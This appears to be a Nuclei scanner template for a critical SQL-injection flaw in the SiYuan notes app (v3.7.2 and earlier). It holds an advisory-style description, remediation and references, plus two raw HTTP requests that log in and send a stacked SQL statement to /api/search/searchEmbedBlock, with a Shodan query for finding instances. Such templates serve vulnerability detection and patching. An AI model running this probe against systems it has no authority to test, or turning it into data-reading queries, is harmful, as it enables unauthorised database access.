id: CVE-2026-69084 info: name: SiYuan - SQL Execution author: Boreas37 severity: critical description: | SiYuan <= v3.7.2 contains a SQL injection caused by passing client-supplied SQL statements verbatim to the main read-write database handle in /api/search/searchEmbedBlock, letting attackers with publish RoleReader token or anonymous access read and modify content, exploit requires publish RoleReader token or disabled publish authentication. impact: | Attackers can read and modify content across all opened cleartext notebooks, potentially compromising data integrity and confidentiality. remediation: | Update to version v3.7.3 or later. reference: - https://github.com/siyuan-note/siyuan/security/advisories/GHSA-vh22-h7hf-www7 - https://www.vulncheck.com/advisories/siyuan-before-sql-injection-via-searchembedblock - https://nvd.nist.gov/vuln/detail/CVE-2026-69084 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N cvss-score: 10 cve-id: CVE-2026-69084 epss-score: 0.01104 epss-percentile: 0.63828 cwe-id: CWE-89 metadata: max-request: 2 verified: true shodan-query: 'title:"SiYuan"' tags: cve,cve2026,siyuan,sqli,authenticated variables: auth_code: "{{password}}" http: - raw: - | POST /api/system/loginAuth HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"authCode":"{{auth_code}}"} - | POST /api/search/searchEmbedBlock HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"embedBlockID":"20210808180117-6v0mkxr","stmt":"SELECT 1; SELECT 2","excludeIDs":[],"headingMode":0,"breadcrumb":false} matchers-condition: and matchers: - type: word part: body words: - '"code":0' - type: word part: body words: - 'SQL statement is not single' negative: true - type: status status: - 200 # digest: 490a00463044022051fa9f18640357aa7565bbfe485557dc19146d825e0ddb40994201e36008c9940220463370d97350752f29dde816786f30abd53a78cdba57265525224fddcf1c3095:922c64590222798bb761d5b6d8e72950